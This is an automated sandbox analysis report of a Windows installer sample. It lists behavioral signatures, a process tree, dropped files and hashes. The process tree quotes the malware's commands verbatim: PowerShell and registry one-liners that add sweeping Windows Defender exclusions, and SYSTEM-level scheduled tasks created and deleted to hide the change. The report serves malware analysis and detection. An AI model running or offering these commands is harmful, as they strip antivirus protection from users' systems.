Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 07:43

General

  • Target
    install.2.0.13.exe
  • Size 30.5MB
  • Sample261024-jkpx6axy4p
  • SHA256 6399ec6ba1e498c7697f92c37236fb5a6d2f4df61553efd792f94504165a3871
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4136
  • C:\Users\Public\Zbi6ZG\W335g3.exe
    "C:\Users\Public\Zbi6ZG\W335g3.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3196
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zbi6ZG\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zbi6ZG\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3032
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1748
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5948
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1904
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4176
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4372
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5964
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5736
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2428
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1624
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5300
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5960
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5588
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1364
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3428
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:1724
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1108
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5844
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zbi6ZG" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3952
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zbi6ZG" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2884
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5784
                          • C:\Users\Public\Zbi6ZG\W335g3.exe
                            "C:\Users\Public\Zbi6ZG\W335g3.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:3916
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:1468
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:2712
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:2516
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:252
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:1340
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4080

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 1KB
                                      • SHA256 a0edb7258166916f11e04c6b0f4880f908e47fe434ae5f9ee850e8fdf5a937f1
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 1KB
                                      • SHA256 d5d5cabdb3bab9ab7f918dde5b14e3879fe408577bedfbe1df9909c6ecf6cd34
                                      • MD5 SHA1 SHA512 TLSH

                                      0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                      • Size 512B
                                      • SHA256 ddd864531ed2529ea38ae601281d54a86cc2db94c1dd47abf84f40295d8ad58c
                                      • MD5 SHA1 SHA512 TLSH

                                      B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                      • Size 506B
                                      • SHA256 320226e2388ccb0a7a36d7fc00bd0c450c9bb136eda82ce337bff08fe3ab23d7
                                      • MD5 SHA1 SHA512 TLSH

                                      __PSScriptPolicyTest_3afeasi0.knf.psm1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3afeasi0.knf.psm1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\Zbi6ZG\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 a6d49a6f3d7f16d4716a95910a414fa155efe54206d3211c1cdba8fe63942994
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      W335g3.exe

                                      • Path C:\Users\Public\Zbi6ZG\W335g3.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\Zbi6ZG\adoresd.dat
                                      • Size 4.8MB
                                      • SHA256 93d66f7886b6d7b811686beb649e448e1ae6a7d06e3f0d3d061af54067ea9250
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\Zbi6ZG\msadox.tb
                                      • Size 8KB
                                      • SHA256 4f873e45cfbb15217ad8544f8b39c1c0e933a4ff8b60aad2eb0245adf2714b11
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/3196-597-0x0000024466B60000-0x0000024466B82000-memory.dmp

                                      memory/3196-602-0x0000024466BA0000-0x0000024466BBE000-memory.dmp

                                      memory/3196-603-0x000002447F280000-0x000002447F332000-memory.dmp

                                      memory/3196-607-0x0000024466B30000-0x0000024466B3A000-memory.dmp

                                      memory/3916-582-0x00007FFFAE8E0000-0x00007FFFAE8E2000-memory.dmp

                                      memory/3916-590-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

                                      memory/3916-580-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

                                      memory/3916-591-0x00007FFFAE8D0000-0x00007FFFAE8D2000-memory.dmp

                                      memory/3916-589-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

                                      memory/3916-577-0x00007FFF8C700000-0x00007FFF8CC1E000-memory.dmp

                                      memory/3916-588-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

                                      memory/3916-583-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

                                      memory/3916-587-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

                                      memory/4136-525-0x00007FFFA60B0000-0x00007FFFA60C2000-memory.dmp

                                      memory/4136-524-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/4136-504-0x00007FFFA60B0000-0x00007FFFA60C2000-memory.dmp

                                      memory/4136-2-0x0000000000580000-0x000000000058C000-memory.dmp

                                      memory/4136-0-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/4136-1-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/5360-562-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

                                      memory/5360-561-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

                                      memory/5360-530-0x00007FFFAE8D0000-0x00007FFFAE8D2000-memory.dmp

                                      memory/5360-536-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-539-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-567-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-556-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-559-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

                                      memory/5360-560-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

                                      memory/5360-531-0x00007FFF8C700000-0x00007FFF8CC1E000-memory.dmp

                                      memory/5360-538-0x00007FFFAE8E0000-0x00007FFFAE8E2000-memory.dmp

                                      memory/5360-558-0x000001E9A3D80000-0x000001E9A3DCE000-memory.dmp

                                      memory/5360-550-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-544-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-546-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-545-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

                                      memory/5360-543-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp